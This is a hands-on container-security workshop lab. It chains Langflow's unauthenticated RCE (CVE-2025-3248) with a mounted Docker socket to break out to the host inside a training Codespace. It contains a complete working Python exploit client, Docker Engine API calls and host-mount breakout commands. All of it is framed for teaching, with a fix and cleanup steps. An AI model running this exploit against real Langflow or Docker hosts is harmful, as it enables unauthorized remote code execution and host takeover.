Lab: Docker socket breakout via CVE-2025-3248
DISCLAIMER: This lab runs a real unauthenticated RCE (CVE-2025-3248). Run it only inside the workshop Codespace, never against anything else.
Mounting /var/run/docker.sock into a container “particularly dangerous” because it hands out control of the Docker daemon, not just a file. This lab proves that with a real-world chain: an unauthenticated remote code execution bug in Langflow (CVE-2025-3248, fixed in 1.3.0) gets you a shell inside the container. From there, the mounted socket gets you the whole Docker host.
/var/run/docker.sock is a Unix domain socket (root) listens on — whoever can access it controls the entire Docker daemon, and effectively the host.

Lab objective
- Stand up a Langflow
1.2.0container the way Vulhub does, with the Docker socket mounted in. - Trigger the unauthenticated RCE over HTTP only, no shell access assumed.
- Use the RCE to talk to the Docker Engine API over the socket and enumerate containers.
- Use the Docker API to create a container that mounts the host filesystem, and read a file only the host can see.
- Remove the socket mount and confirm the RCE still works but the breakout does not.
Prerequisites
- This workshop’s Codespace (Docker and
python3are already there — see Lab: Setup GitHub Codespace).
Hands on Lab
1. Start the vulnerable stack
- Run pstree command to watch process tree.
pstree -a
- Make a lab folder inside the open workspace, so it shows up in the Codespace’s file explorer instead of hiding in your home directory:
mkdir -p /workspaces/container-security-workshop-lab/peachycloudsecurity-langflow-lab
cd /workspaces/container-security-workshop-lab/peachycloudsecurity-langflow-lab
Create the file the exploit chain has to reach — it lives directly on the Codespace host, outside any container:
mkdir -p /tmp/host-secret && echo CONTAINER_BREAKOUT_SUCCESS > /tmp/host-secret/FLAG
Write the Compose file for the vulnerable stack, socket mounted in:
cat <<'EOF' > docker-compose.yml
services:
langflow:
image: vulhub/langflow:1.2.0
ports:
- "7860:7860"
environment:
- LANGFLOW_HOST=0.0.0.0
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=administrator
- LANGFLOW_SUPERUSER_PASSWORD=vulhub
- DO_NOT_TRACK=true
- GIT_PYTHON_REFRESH=quiet
volumes:
- /var/run/docker.sock:/var/run/docker.sock
EOF
Bring it up. The image is a few hundred MB, so the first pull can take a minute or two:
docker compose up -d
2. Confirm the stack is up (operator check)
docker compose ps
curl -sS -o /dev/null -w '%{http_code}\n' http://localhost:7860/
Expect a langflow service running and an HTTP status code back from curl. This is you as operator confirming the target is reachable — the attacker in the next steps only ever talks to port 7860.
3. Build the exploit client
This is a small Python client for CVE-2025-3248. It POSTs to the vulnerable /api/v1/validate/code endpoint, and can either run a shell command or speak the Docker Engine API directly over the socket found inside the container — all through that one HTTP endpoint, no docker CLI and no shell on your side required.
cat <<'EOF' > exploit.py
#!/usr/bin/env python3
import os, sys, json, urllib.request
TARGET = os.environ.get("TARGET", "http://localhost:7860/api/v1/validate/code")
SOCK = "/var/run/docker.sock"
def _rce(remote_src):
code = "def eqst_lab(x=exec(%r)):\n pass" % remote_src
body = json.dumps({"code": code}).encode()
req = urllib.request.Request(TARGET, data=body, headers={"Content-Type": "application/json"})
with urllib.request.urlopen(req, timeout=180) as r:
data = json.load(r)
errs = data.get("function", {}).get("errors") or [""]
return errs[0]
def _decode(err):
if err.startswith("b'") or err.startswith('b"'):
return err[2:-1].encode().decode("unicode_escape").encode("latin-1", "replace").decode("utf-8", "replace")
return err
def shell(cmd):
return _decode(_rce("raise Exception(__import__('subprocess').check_output(%r, shell=True))" % cmd))
def _http_raw_src(method, path, json_body=None):
body = json.dumps(json_body) if json_body is not None else ""
return (
"import socket\n"
"s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n"
"s.connect(%r)\n"
"_body = %r\n"
"_headers = ('Content-Type: application/json\\r\\nContent-Length: ' + str(len(_body)) + '\\r\\n') if _body else ''\n"
"req = %r + ' ' + %r + ' HTTP/1.1\\r\\nHost: localhost\\r\\n' + _headers + 'Connection: close\\r\\n\\r\\n' + _body\n"
"s.sendall(req.encode())\n"
"data = b''\n"
"while True:\n"
" chunk = s.recv(4096)\n"
" if not chunk: break\n"
" data += chunk\n"
"s.close()\n"
"raise Exception(data)\n"
) % (SOCK, body, method, path)
def _parse_http(raw_text):
raw = raw_text.encode("latin-1", "replace")
head, _, rawbody = raw.partition(b"\r\n\r\n")
headers_text = head.decode("iso-8859-1", "replace")
lines = headers_text.split("\r\n")
status = lines[0] if lines else ""
headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1)
headers[k.strip().lower()] = v.strip()
if headers.get("transfer-encoding", "").lower() == "chunked":
out, rest = b"", rawbody
while True:
size_line, _, rest = rest.partition(b"\r\n")
try:
size = int(size_line.strip(), 16)
except ValueError:
break
if size == 0:
break
out += rest[:size]
rest = rest[size:]
if rest.startswith(b"\r\n"):
rest = rest[2:]
rawbody = out
return status, headers, rawbody.decode("utf-8", "replace")
def docker_api(method, path, json_body=None):
raw = _decode(_rce(_http_raw_src(method, path, json_body)))
return _parse_http(raw)
def breakout():
# Reuse the langflow image (already pulled by docker compose) instead of
# a fresh one: /containers/create does not auto-pull like `docker run` does.
status, _, body = docker_api(
"POST", "/containers/create",
{"Image": "vulhub/langflow:1.2.0", "Cmd": ["cat", "/host/tmp/host-secret/FLAG"], "Tty": True,
"HostConfig": {"Binds": ["/:/host:ro"]}},
)
created = json.loads(body)
if "Id" not in created:
return "container create failed: %s" % created.get("message", body)
cid = created["Id"]
docker_api("POST", "/containers/%s/start" % cid)
_, _, logs = docker_api("GET", "/containers/%s/logs?stdout=true&stderr=true" % cid)
docker_api("DELETE", "/containers/%s?force=true" % cid)
return logs.strip()
if __name__ == "__main__":
import argparse
p = argparse.ArgumentParser(description="CVE-2025-3248 Langflow RCE -> Docker socket breakout PoC")
p.add_argument("--target", default=TARGET,
help="Langflow /api/v1/validate/code URL, or set env var TARGET (default: %(default)s)")
sub = p.add_subparsers(dest="mode", required=True)
sh = sub.add_parser("shell", help="run a shell command inside the container via the RCE")
sh.add_argument("cmd")
ap = sub.add_parser("api", help="call the Docker Engine API through the socket")
ap.add_argument("method")
ap.add_argument("path")
ap.add_argument("json_body", nargs="?", help="optional JSON request body")
sub.add_parser("breakout", help="create a host-mounted container and read the host FLAG file")
args = p.parse_args()
TARGET = args.target
if args.mode == "shell":
print(shell(args.cmd))
elif args.mode == "api":
jb = json.loads(args.json_body) if args.json_body else None
status, headers, body = docker_api(args.method, args.path, jb)
print(status)
print(body)
elif args.mode == "breakout":
print(breakout())
EOF
_rce reproduces the documented CVE-2025-3248 trick: Langflow parses posted “code” and executes it to validate it, so a default argument like x=exec(...) runs the moment the function is defined, before anything is ever called. _decode recovers the command output from the exception message Langflow’s validation error puts back in the HTTP response — no docker CLI or curl needed inside the target container, since docker_api talks to /var/run/docker.sock with nothing but Python’s standard library.
4. Prove the unauthenticated RCE
Each call below is a fresh, unauthenticated HTTP POST to /api/v1/validate/code — no shell or credentials on your side, ever.
- Run a command inside the container:
python3 exploit.py shell "id"
- Confirm what OS is running inside and also print environment variables:
python3 exploit.py shell "cat /etc/os-release"
python3 exploit.py shell "env"
- Check for the mounted socket — this should show it, owned by root:
python3 exploit.py shell "ls -l /var/run/docker.sock"
5. Exploit the docker.sock
- Enumerate containers
python3 exploit.py api GET /containers/json
- Enumerate images (= docker images):
python3 exploit.py api GET /images/json
- Full breakout (create host-mounted container with read the host FLAG), one command
That’s already coded to POST /containers/create with Binds: [“/:/host:ro”], start it, read logs, delete it — prints CONTAINER_BREAKOUT_SUCCESS straight from the host file.
python3 exploit.py breakout
Code:
def breakout():
status, _, body = docker_api(
"POST", "/containers/create",
{"Image": "vulhub/langflow:1.2.0",
"Cmd": ["cat", "/host/tmp/host-secret/FLAG"], # <- runs this as the container's main process
"Tty": True,
"HostConfig": {"Binds": ["/:/host:ro"]}}, # <- mounts the REAL host's / into this new container at /host
)
...
docker_api("POST", "/containers/%s/start" % cid) # boots it -> cat runs immediately
_, _, logs = docker_api("GET", "/containers/%s/logs?..." % cid) # daemon hands back whatever cat printed
docker_api("DELETE", "/containers/%s?force=true" % cid) # cleanup
return logs.strip()
The RCE only gives you what’s already installed in the image, and
vulhub/langflow:1.2.0doesn’t ship adockerCLI. Since you already have arbitrary code execution, just apt-install one - no different from installing anything else you needed inside the container:
Understand the docker.sock attack (explanation)
- This is similar to installing docker and then
apt-get update -qq && apt-get install -y -qq docker.io
- Run
docker psanddocker imagecommand
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock images
An ordinary
docker ps, run through the RCE. It lists every container the host is running, includinglangflowitself — proof the socket handed over control of the whole daemon, not just this one container.
- Breakout: read a file only the host can see
The same bind-mount pattern from Host mounts and privileged containers, except now the attacker is the one running it —
docker runwith the host’s/mounted in read-only,--rmso it cleans itself up:
docker -H unix:///var/run/docker.sock run --rm -v /:/host:ro vulhub/langflow:1.2.0 cat /host/tmp/host-secret/FLAG
- That’s the file created back in step 1, on the Codespace host, read from inside a brand-new container the vulnerable app never had any relationship with — reached with nothing but an HTTP RCE and
docker run.
To fix remove the docker.sock mount path from docker-compose.yaml
/var/run/docker.sock:/var/run/docker.sock.
Clean up
cd /workspaces/container-security-workshop-lab/peachycloudsecurity-langflow-lab
docker compose down -v
cd /workspaces/container-security-workshop-lab && rm -rf peachycloudsecurity-langflow-lab /tmp/host-secret
Troubleshooting
- Do a quick restart for this lab
Restarts dockerd and patches every bridge missing the legacy FORWARD rules
echo "Restarting dockerd..."
sudo pkill dockerd 2>/dev/null || true
sleep 3
sudo dockerd --containerd /run/containerd/containerd.sock --dns 168.63.129.16 > /tmp/dockerd.log 2>&1 &
sleep 5
echo "Fixing FORWARD rules for docker-compose bridges..."
for net in $(docker network ls --filter driver=bridge --format '{{.ID}}'); do
br="br-${net:0:12}"
ip link show "$br" &>/dev/null || continue
if ! sudo iptables-legacy -C FORWARD -i "$br" -o "$br" -j ACCEPT 2>/dev/null; then
echo " patching $br"
sudo iptables-legacy -I FORWARD -o "$br" -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
sudo iptables-legacy -I FORWARD -i "$br" ! -o "$br" -j ACCEPT
sudo iptables-legacy -I FORWARD -i "$br" -o "$br" -j ACCEPT
fi
done
sudo pkill dockerd 2>/dev/null || true
sleep 3
sudo dockerd --containerd /run/containerd/containerd.sock --dns 168.63.129.16 > /tmp/dockerd.log 2>&1 &
sleep 5
docker ps
Summary
- CVE-2025-3248 is a real, unauthenticated RCE, fixed in Langflow 1.3.0 — the vulnerable image used here (
1.2.0) is intentional, for this lab only. - The RCE by itself gives a foothold inside one container. The mounted Docker socket is what turned that foothold into host-level access.
- The Docker Engine API is reachable with nothing but a Unix socket connection — no
dockerCLI, nocurl, no extra tooling needed inside the compromised container. - Removing
-v /var/run/docker.sock:/var/run/docker.sockdoes not patch the application, but it does remove the escalation path — the same lesson as Lab: Host mounts and privileged containers, with a real CVE driving the foothold instead of a shell someone already had.
References
-
CVE-2025-3248 — GHSA-rvqx-wpfh-mfx7: Langflow Unauth RCE
-
Vulhub — langflow/CVE-2025-3248
-
Next step: Theory: Image CVE scanners, then Lab: Trivy image scan.